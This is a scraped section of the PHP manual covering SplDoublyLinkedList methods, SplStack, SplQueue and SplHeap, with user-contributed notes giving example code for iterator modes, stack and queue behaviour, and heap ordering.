There are no user contributed notes for this page.


Pushes an element at the end of the doubly linked list

  • « SplDoublyLinkedList::prev
  • SplDoublyLinkedList::rewind »
  • PHP Manual
  • SplDoublyLinkedList
  • Pushes an element at the end of the doubly linked list

SplDoublyLinkedList::push

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list

Description

public void SplDoublyLinkedList::push ( mixed $value )

Pushes value at the end of the doubly linked list.

Parameters

value

The value to push.

Return Values

No value is returned.

User Contributed Notes

Gilles A 30-Sep-2014 11:18
Be careful SplStack mode is LIFO (Last In First Out) not FIFO (First in First Out)
<?php
// Array (FIFO)
$stack = array();
array_push($stack,"orange");
array_push($stack,"banana");
array_push($stack,"apple");
array_push($stack,"raspberry");

var_dump($stack);
?>
// result

array (size=4)
  0 => string 'orange' (length=6)
  1 => string 'banana' (length=6)
  2 => string 'apple' (length=5)
  3 => string 'raspberry' (length=9)

<?php
// SplStack (LIFO)
$stack = new SplStack();
$stack ->push('orange');
$stack ->push('banana');
$stack ->push('apple');
$stack->push('raspberry');

$stack->rewind();
while($stack->valid()){
    var_dump($stack->current());
    $stack->next();

}
?>
//result
string 'raspberry' (length=9)
string 'apple' (length=5)
string 'banana' (length=6)
string 'orange' (length=6)


Rewind iterator back to the start

  • « SplDoublyLinkedList::push
  • SplDoublyLinkedList::serialize »
  • PHP Manual
  • SplDoublyLinkedList
  • Rewind iterator back to the start

SplDoublyLinkedList::rewind

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::rewind — Rewind iterator back to the start

Description

public void SplDoublyLinkedList::rewind ( void )

This rewinds the iterator to the beginning.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Serializes the storage

  • « SplDoublyLinkedList::rewind
  • SplDoublyLinkedList::setIteratorMode »
  • PHP Manual
  • SplDoublyLinkedList
  • Serializes the storage

SplDoublyLinkedList::serialize

(PHP 5 >= 5.4.0)

SplDoublyLinkedList::serialize — Serializes the storage

Description

public string SplDoublyLinkedList::serialize ( void )

Serializes the storage.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The serialized string.

See Also

  • SplDoublyLinkedList::unserialize() - Unserializes the storage

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode of iteration

  • « SplDoublyLinkedList::serialize
  • SplDoublyLinkedList::shift »
  • PHP Manual
  • SplDoublyLinkedList
  • Sets the mode of iteration

SplDoublyLinkedList::setIteratorMode

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::setIteratorMode — Sets the mode of iteration

Description

public void SplDoublyLinkedList::setIteratorMode ( int $mode )

Parameters

mode

There are two orthogonal sets of modes that can be set:

  • The direction of the iteration (either one or the other):
    • SplDoublyLinkedList::IT_MODE_LIFO (Stack style)
    • SplDoublyLinkedList::IT_MODE_FIFO (Queue style)
  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is: SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP

Return Values

No value is returned.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 08:15
Despite the seeming unrelated-ness between the FIFO/LIFO and the KEEP/DELETE option pairs, in respect to the behavior of setIteratorMode they are in some way linked.  Meaning, a second call to setIteratorMode will erase any previous settings even if they are from the other pair.  This, coupled with the default settings for the object (SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP), means you have to be careful or you can run into trouble

Consider the following example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);

$mode = $l->getIteratorMode();
var_dump("MODE: $mode");
var_dump("MODE CHECKS");
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP);

$l->push('A');
$l->push('B');
$l->push('C');
$l->push('D');
$l->rewind();

var_dump("Traversing");
var_dump($l->isEmpty());

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->isEmpty());

?>

Which outputs the following:
#############################
string(7) "MODE: 2"

string(11) "MODE CHECKS"
bool(true) #LIFO (ok)
bool(true) #FIFO (umm...wait a minute)
bool(false)#DELETE (houston... wtf)
bool(true) #KEEP (ok, where's the camera hidden)

string(10) "Traversing"
bool(false)

int(4)
string(1) "D"

int(4)
string(1) "C"

int(4)
string(1) "B"

int(4)
string(1) "A"

int(4)
bool(false)
#############################

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

hope this helps someone.
pritiatwork at gmail dot com 08-Sep-2011 08:39
Usage of different Iterator Mode

<?php
$doubly=new SplDoublyLinkedList();
$doubly->push(array('name'=>'Naruto'));
$doubly->push(array('name'=>'Sakura'));
$doubly->push(array('name'=>'Neji'));
$doubly->push(array('name'=>'Sasuke'));
var_dump($doubly);
echo '<br/> FIFO Traversing<br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
echo '<br/>LIFO Traversing - Keep mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}

echo '<br/>LIFO Traversing - Delete mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_DELETE);
$doubly->rewind();

foreach($doubly as $key=>$value)
{
    if($key == 2) break;
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
var_dump($doubly);
?>

Output:

FIFO Traversing

Traversed:0 Naruto
Traversed:1 Sakura
Traversed:2 Neji
Traversed:3 Sasuke
LIFO Traversing - Keep mode

Traversed:3 Sasuke
Traversed:2 Neji
Traversed:1 Sakura
Traversed:0 Naruto
LIFO Traversing - Delete mode

Traversed:3 Sasuke
object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(3)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    array(1) {
      ["name"]=>
      string(6) "Naruto"
    }
    [1]=>
    array(1) {
      ["name"]=>
      string(6) "Sakura"
    }
    [2]=>
    array(1) {
      ["name"]=>
      string(4) "Neji"
    }
  }
}


Shifts a node from the beginning of the doubly linked list

  • « SplDoublyLinkedList::setIteratorMode
  • SplDoublyLinkedList::top »
  • PHP Manual
  • SplDoublyLinkedList
  • Shifts a node from the beginning of the doubly linked list

SplDoublyLinkedList::shift

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::shift — Shifts a node from the beginning of the doubly linked list

Description

public mixed SplDoublyLinkedList::shift ( void )

Parameters

This function has no parameters.

Return Values

The value of the shifted node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.


Peeks at the node from the end of the doubly linked list

  • « SplDoublyLinkedList::shift
  • SplDoublyLinkedList::unserialize »
  • PHP Manual
  • SplDoublyLinkedList
  • Peeks at the node from the end of the doubly linked list

SplDoublyLinkedList::top

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::top — Peeks at the node from the end of the doubly linked list

Description

public mixed SplDoublyLinkedList::top ( void )

Parameters

This function has no parameters.

Return Values

The value of the last node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.


Unserializes the storage

  • « SplDoublyLinkedList::top
  • SplDoublyLinkedList::unshift »
  • PHP Manual
  • SplDoublyLinkedList
  • Unserializes the storage

SplDoublyLinkedList::unserialize

(PHP 5 >= 5.4.0)

SplDoublyLinkedList::unserialize — Unserializes the storage

Description

public void SplDoublyLinkedList::unserialize ( string $serialized )

Unserializes the storage, from SplDoublyLinkedList::serialize().

Warning

This function is currently not documented; only its argument list is available.

Parameters

serialized

The serialized string.

Return Values

No value is returned.

See Also

  • SplDoublyLinkedList::serialize() - Serializes the storage

User Contributed Notes

There are no user contributed notes for this page.


Prepends the doubly linked list with an element

  • « SplDoublyLinkedList::unserialize
  • SplDoublyLinkedList::valid »
  • PHP Manual
  • SplDoublyLinkedList
  • Prepends the doubly linked list with an element

SplDoublyLinkedList::unshift

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::unshift — Prepends the doubly linked list with an element

Description

public void SplDoublyLinkedList::unshift ( mixed $value )

Prepends value at the beginning of the doubly linked list.

Parameters

value

The value to unshift.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the doubly linked list contains more nodes

  • « SplDoublyLinkedList::unshift
  • SplStack »
  • PHP Manual
  • SplDoublyLinkedList
  • Check whether the doubly linked list contains more nodes

SplDoublyLinkedList::valid

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::valid — Check whether the doubly linked list contains more nodes

Description

public bool SplDoublyLinkedList::valid ( void )

Checks if the doubly linked list contains any more nodes.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the doubly linked list contains any more nodes, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


The SplStack class

(PHP 5 >= 5.3.0)

Introduction

The SplStack class provides the main functionalities of a stack implemented using a doubly linked list.

Class synopsis

SplStack extends SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* Methods */
__construct ( void )
void setIteratorMode ( int $mode )
/* Inherited methods */
public void SplDoublyLinkedList::add ( mixed $index , mixed $newval )
public mixed SplDoublyLinkedList::bottom ( void )
public int SplDoublyLinkedList::count ( void )
public mixed SplDoublyLinkedList::current ( void )
public int SplDoublyLinkedList::getIteratorMode ( void )
public bool SplDoublyLinkedList::isEmpty ( void )
public mixed SplDoublyLinkedList::key ( void )
public void SplDoublyLinkedList::next ( void )
public bool SplDoublyLinkedList::offsetExists ( mixed $index )
public mixed SplDoublyLinkedList::offsetGet ( mixed $index )
public void SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )
public void SplDoublyLinkedList::offsetUnset ( mixed $index )
public mixed SplDoublyLinkedList::pop ( void )
public void SplDoublyLinkedList::prev ( void )
public void SplDoublyLinkedList::push ( mixed $value )
public void SplDoublyLinkedList::rewind ( void )
public string SplDoublyLinkedList::serialize ( void )
public void SplDoublyLinkedList::setIteratorMode ( int $mode )
public mixed SplDoublyLinkedList::shift ( void )
public mixed SplDoublyLinkedList::top ( void )
public void SplDoublyLinkedList::unserialize ( string $serialized )
public void SplDoublyLinkedList::unshift ( mixed $value )
public bool SplDoublyLinkedList::valid ( void )
}

Table of Contents

  • SplStack::__construct — Constructs a new stack implemented using a doubly linked list
  • SplStack::setIteratorMode — Sets the mode of iteration

User Contributed Notes

lsroudi at gmail dot com 20-Jan-2014 05:07
<?php

/**
 * Description of Stack
 *
 * (c) lsroudi <http://lsroudi.com/> <lsroudi@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
class Stack {

    private $splstack;

    function __construct(\SplStack $splstack)
    {
        $this->splstack = $splstack;
    }

    public function calculateSomme()
    {

        if ($this->splstack->count() > 1){
            $val1 = $this->splstack->pop();
            $val2 = $this->splstack->pop();
            $val = $val1 + $val2;
            $this->splstack->push($val);
            $this->calculateSomme();
        }
    }

    /**
     *
     * @return integer
     */
    public function displaySomme()
    {
        $result = $this->splstack->pop();
        return $result;
    }

}

$splstack = new \SplStack();

$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);

$stack = new Stack($splstack);
$stack->calculateSomme();
die(var_dump($stack->displaySomme())); // 150
?>
source : https://github.com/lsroudi/OOPWithSPL/blob/master/Stack/Stack.php
lsroudi at gmail dot com 19-Jan-2014 09:03
the SplStack is  simply a SplDoublyLinkedList with  an iteration mode IT_MODE_LIFO and IT_MODE_KEEP
Sandro Alves Peres 12-Jun-2013 09:04
<?php
# Think of the stack as an array reversed, where the last element has index zero

$stack = new SplStack();
$stack->push('a');
$stack->push('b');
$stack->push('c');

$stack->offsetSet(0, 'C'); # the last element has index zero

$stack->rewind();

while( $stack->valid() )
{
    echo $stack->current(), PHP_EOL;
    $stack->next();
}

/*

OUTPUT
****************************

C
b
a

*/
?>


Constructs a new stack implemented using a doubly linked list

  • « SplStack
  • SplStack::setIteratorMode »
  • PHP Manual
  • SplStack
  • Constructs a new stack implemented using a doubly linked list

SplStack::__construct

(PHP 5 >= 5.3.0)

SplStack::__construct — Constructs a new stack implemented using a doubly linked list

Description

SplStack::__construct ( void )

This constructs a new empty stack.

Note:

This method automatically sets the iterator mode to SplDoublyLinkedList::IT_MODE_LIFO.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplStack::__construct() example

<?php
$q = new SplStack();

$q[] = 1;
$q[] = 2;
$q[] = 3;

foreach ($q as $elem)  {
 echo $elem."\n";
}
?>

The above example will output:

3
2
1

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode of iteration

  • « SplStack::__construct
  • SplQueue »
  • PHP Manual
  • SplStack
  • Sets the mode of iteration

SplStack::setIteratorMode

(PHP 5 >= 5.3.0)

SplStack::setIteratorMode — Sets the mode of iteration

Description

void SplStack::setIteratorMode ( int $mode )

Parameters

mode

There is only one iteration parameter you can modify.

  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is 0x2 : SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP

Warning

The direction of iteration can no longer be changed for SplStacks. Trying to do so will result in a RuntimeException being thrown.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The SplQueue class

(PHP 5 >= 5.3.0)

Introduction

The SplQueue class provides the main functionalities of a queue implemented using a doubly linked list.

Class synopsis

SplQueue extends SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* Methods */
__construct ( void )
mixed dequeue ( void )
void enqueue ( mixed $value )
void setIteratorMode ( int $mode )
/* Inherited methods */
public void SplDoublyLinkedList::add ( mixed $index , mixed $newval )
public mixed SplDoublyLinkedList::bottom ( void )
public int SplDoublyLinkedList::count ( void )
public mixed SplDoublyLinkedList::current ( void )
public int SplDoublyLinkedList::getIteratorMode ( void )
public bool SplDoublyLinkedList::isEmpty ( void )
public mixed SplDoublyLinkedList::key ( void )
public void SplDoublyLinkedList::next ( void )
public bool SplDoublyLinkedList::offsetExists ( mixed $index )
public mixed SplDoublyLinkedList::offsetGet ( mixed $index )
public void SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )
public void SplDoublyLinkedList::offsetUnset ( mixed $index )
public mixed SplDoublyLinkedList::pop ( void )
public void SplDoublyLinkedList::prev ( void )
public void SplDoublyLinkedList::push ( mixed $value )
public void SplDoublyLinkedList::rewind ( void )
public string SplDoublyLinkedList::serialize ( void )
public void SplDoublyLinkedList::setIteratorMode ( int $mode )
public mixed SplDoublyLinkedList::shift ( void )
public mixed SplDoublyLinkedList::top ( void )
public void SplDoublyLinkedList::unserialize ( string $serialized )
public void SplDoublyLinkedList::unshift ( mixed $value )
public bool SplDoublyLinkedList::valid ( void )
}

Table of Contents

  • SplQueue::__construct — Constructs a new queue implemented using a doubly linked list
  • SplQueue::dequeue — Dequeues a node from the queue
  • SplQueue::enqueue — Adds an element to the queue.
  • SplQueue::setIteratorMode — Sets the mode of iteration

User Contributed Notes

Manu Manjunath 10-Feb-2014 07:56
SplQueue inherits from SplDoublyLinkedList. So, objects of SplQueue support methods push() and pop(). But please be advised that if you use push() and pop() methods on a SplQueue object, it behaves like a stack rather than a queue.

For example:

$q = new SplQueue();
$q->push(1);
$q->push(2);
$q->push(3);
$q->pop();
print_r($q);

Above code returns:

SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
        )
)

Note that 3 got popped and *not* 1.

So, please make sure that you use only enqueue() and dequeue() methods on a SplQueue object and *not* push() and pop().


Constructs a new queue implemented using a doubly linked list

  • « SplQueue
  • SplQueue::dequeue »
  • PHP Manual
  • SplQueue
  • Constructs a new queue implemented using a doubly linked list

SplQueue::__construct

(PHP 5 >= 5.3.0)

SplQueue::__construct — Constructs a new queue implemented using a doubly linked list

Description

SplQueue::__construct ( void )

This constructs a new empty queue.

Note:

This method automatically sets the iterator mode to SplDoublyLinkedList::IT_MODE_FIFO.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplQueue::__construct() example

<?php
$q = new SplQueue();

$q[] = 1;
$q[] = 2;
$q[] = 3;

foreach ($q as $elem)  {
 echo $elem."\n";
}
?>

The above example will output:

1
2
3

Example #2 Efficiently handling tasks with SplQueue

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

// ... enqueue some tasks on the queue ...

// process them
foreach ($q as $task) {
    // ... process $task ...

    // add new tasks on the queue
    $q[] = $newTask;
    // ...
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Dequeues a node from the queue

  • « SplQueue::__construct
  • SplQueue::enqueue »
  • PHP Manual
  • SplQueue
  • Dequeues a node from the queue

SplQueue::dequeue

(PHP 5 >= 5.3.0)

SplQueue::dequeue — Dequeues a node from the queue

Description

mixed SplQueue::dequeue ( void )

Dequeues value from the top of the queue.

Note:

SplQueue::dequeue() is an alias of SplDoublyLinkedList::shift().

Parameters

This function has no parameters.

Return Values

The value of the dequeued node.

User Contributed Notes

mark at bull-roarer dot com 06-Jul-2013 12:31
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
mark at bull-roarer dot com 06-Jul-2013 12:30
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
andresdzphp at php dot net 30-Sep-2011 08:10
<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
$q->enqueue('item 1');
$q->enqueue('item 2');
$q->enqueue('item 3');

$q->dequeue();
$q->dequeue();

foreach ($q as $item) {
    echo $item;
}

//Result: item 3

$q->dequeue(); //Fatal error: Uncaught exception 'RuntimeException'
              //with message 'Can't shift from an empty datastructure'
?>
xuecan at gmail dot com 21-Jan-2010 05:57
If the queue is empty, dequeue() will raise an 'RuntimeException' with message 'Can't shift from an empty datastructure'.


Adds an element to the queue.

  • « SplQueue::dequeue
  • SplQueue::setIteratorMode »
  • PHP Manual
  • SplQueue
  • Adds an element to the queue.

SplQueue::enqueue

(PHP 5 >= 5.3.0)

SplQueue::enqueue — Adds an element to the queue.

Description

void SplQueue::enqueue ( mixed $value )

Enqueues value at the end of the queue.

Note:

SplQueue::enqueue() is an alias of SplDoublyLinkedList::push().

Parameters

value

The value to enqueue.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the mode of iteration

  • « SplQueue::enqueue
  • SplHeap »
  • PHP Manual
  • SplQueue
  • Sets the mode of iteration

SplQueue::setIteratorMode

(PHP 5 >= 5.3.0)

SplQueue::setIteratorMode — Sets the mode of iteration

Description

void SplQueue::setIteratorMode ( int $mode )

Parameters

mode

There is only one iteration parameter you can modify.

  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is: SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP

Warning

The direction of iteration can not be changed for SplQueues, it is always SplDoublyLinkedList::IT_MODE_FIFO.

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException on trying to change the direction of iteration by using SplDoublyLinkedList::IT_MODE_LIFO.

User Contributed Notes

There are no user contributed notes for this page.


The SplHeap class

(PHP 5 >= 5.3.0)

Introduction

The SplHeap class provides the main functionalities of a Heap.

Class synopsis

abstract SplHeap implements Iterator , Countable {
/* Methods */
public __construct ( void )
abstract protected int compare ( mixed $value1 , mixed $value2 )
public int count ( void )
public mixed current ( void )
public mixed extract ( void )
public void insert ( mixed $value )
public bool isEmpty ( void )
public mixed key ( void )
public void next ( void )
public void recoverFromCorruption ( void )
public void rewind ( void )
public mixed top ( void )
public bool valid ( void )
}

Table of Contents

  • SplHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.
  • SplHeap::__construct — Constructs a new empty heap
  • SplHeap::count — Counts the number of elements in the heap.
  • SplHeap::current — Return current node pointed by the iterator
  • SplHeap::extract — Extracts a node from top of the heap and sift up.
  • SplHeap::insert — Inserts an element in the heap by sifting it up.
  • SplHeap::isEmpty — Checks whether the heap is empty.
  • SplHeap::key — Return current node index
  • SplHeap::next — Move to the next node
  • SplHeap::recoverFromCorruption — Recover from the corrupted state and allow further actions on the heap.
  • SplHeap::rewind — Rewind iterator back to the start (no-op)
  • SplHeap::top — Peeks at the node from the top of the heap
  • SplHeap::valid — Check whether the heap contains more nodes

User Contributed Notes

igorsantos07 at gmail dot com 26-Jun-2014 10:02
While Michelangelo Van Dam example (http://br2.php.net/manual/en/class.splheap.php#93930) is a great demonstration of what can be done with SplHeap, this implementation is exactly what SplPriorityQueue does - based on SplMaxHeap. If you're planning to copy that snippet, go no further! There's a SPL class that does exactly what you want :)
Michelangelo van Dam 07-Oct-2009 08:44
To have a good idea what you can do with SplHeap, I created a little example script that will show the rankings of Belgian soccer teams in the Jupiler League.

<?php
/**
 * A class that extends SplHeap for showing rankings in the Belgian
 * soccer tournament JupilerLeague
 */
class JupilerLeague extends SplHeap
{
    /**
     * We modify the abstract method compare so we can sort our
     * rankings using the values of a given array
     */
    public function compare($array1, $array2)
    {
        $values1 = array_values($array1);
        $values2 = array_values($array2);
        if ($values1[0] === $values2[0]) return 0;
        return $values1[0] < $values2[0] ? -1 : 1;
    }
}

// Let's populate our heap here (data of 2009)
$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15));
$heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11));
$heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21));
$heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10));
$heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10));
$heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11));
$heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20));
$heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10));
$heap->insert(array ('Zulte Waregem' => 15));

// For displaying the ranking we move up to the first node
$heap->top();

// Then we iterate through each node for displaying the result
while ($heap->valid()) {
  list ($team, $score) = each ($heap->current());
  echo $team . ': ' . $score . PHP_EOL;
  $heap->next();
}
?>

This results in the following output:
Club Brugge: 21
Anderlecht: 20
Standard: 20
KV Mechelen: 18
STVV: 17
Zulte Waregem: 15
AA Gent: 15
G. Beerschot: 15
Charleroi: 12
Racing Genk: 11
Cercle Brugge: 11
Kortrijk: 10
Lokeren: 10
Westerlo: 10
Moeskroen: 7
Roeselare: 6

Hope this example paved the way for more complex implementations of SplHeap.


Compare elements in order to place them correctly in the heap while sifting up.

  • « SplHeap
  • SplHeap::__construct »
  • PHP Manual
  • SplHeap
  • Compare elements in order to place them correctly in the heap while sifting up.

SplHeap::compare

(PHP 5 >= 5.3.0)

SplHeap::compare — Compare elements in order to place them correctly in the heap while sifting up.

Description

abstract protected int SplHeap::compare ( mixed $value1 , mixed $value2 )

Compare value1 with value2.

Warning

Throwing exceptions in SplHeap::compare() can corrupt the Heap and place it in a blocked state. You can unblock it by calling SplHeap::recoverFromCorruption(). However, some elements might not be placed correctly and it may hence break the heap-property.

Parameters

value1

The value of the first node being compared.

value2

The value of the second node being compared.

Return Values

Result of the comparison, positive integer if value1 is greater than value2, 0 if they are equal, negative integer otherwise.

Note:

Having multiple elements with the same value in a Heap is not recommended. They will end up in an arbitrary relative position.

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new empty heap

  • « SplHeap::compare
  • SplHeap::count »
  • PHP Manual
  • SplHeap
  • Constructs a new empty heap

SplHeap::__construct

(PHP 5 >= 5.3.0)

SplHeap::__construct — Constructs a new empty heap

Description

public SplHeap::__construct ( void )

This constructs a new empty heap.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Counts the number of elements in the heap.

  • « SplHeap::__construct
  • SplHeap::current »
  • PHP Manual
  • SplHeap
  • Counts the number of elements in the heap.

SplHeap::count

(PHP 5 >= 5.3.0)

SplHeap::count — Counts the number of elements in the heap.

Description

public int SplHeap::count ( void )

Parameters

This function has no parameters.

Return Values

Returns the number of elements in the heap.

User Contributed Notes

There are no user contributed notes for this page.


Return current node pointed by the iterator

  • « SplHeap::count
  • SplHeap::extract »
  • PHP Manual
  • SplHeap
  • Return current node pointed by the iterator

SplHeap::current

(PHP 5 >= 5.3.0)

SplHeap::current — Return current node pointed by the iterator

Description

public mixed SplHeap::current ( void )

Get the current datastructure node.

Parameters

This function has no parameters.

Return Values

The current node value.

User Contributed Notes

There are no user contributed notes for this page.


Extracts a node from top of the heap and sift up.

  • « SplHeap::current
  • SplHeap::insert »
  • PHP Manual
  • SplHeap
  • Extracts a node from top of the heap and sift up.

SplHeap::extract

(PHP 5 >= 5.3.0)

SplHeap::extract — Extracts a node from top of the heap and sift up.

Description

public mixed SplHeap::extract ( void )

Parameters

This function has no parameters.

Return Values

The value of the extracted node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

Sandro Alves Peres 12-Jun-2013 10:06
<?php
$heap = new SplMaxHeap(); # Ascending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

echo $heap->extract(), PHP_EOL; # E
echo $heap->extract(), PHP_EOL; # D

$heap = new SplMinHeap(); # Descending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

print PHP_EOL;
echo $heap->extract(), PHP_EOL; # A
echo $heap->extract(), PHP_EOL; # B
?>


Inserts an element in the heap by sifting it up.

  • « SplHeap::extract
  • SplHeap::isEmpty »
  • PHP Manual
  • SplHeap
  • Inserts an element in the heap by sifting it up.

SplHeap::insert

(PHP 5 >= 5.3.0)

SplHeap::insert — Inserts an element in the heap by sifting it up.

Description

public void SplHeap::insert ( mixed $value )

Insert value in the heap.

Parameters

value

The value to insert.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the heap is empty.

  • « SplHeap::insert
  • SplHeap::key »
  • PHP Manual
  • SplHeap
  • Checks whether the heap is empty.

SplHeap::isEmpty

(PHP 5 >= 5.3.0)

SplHeap::isEmpty — Checks whether the heap is empty.

Description

public bool SplHeap::isEmpty ( void )

Parameters

This function has no parameters.

Return Values

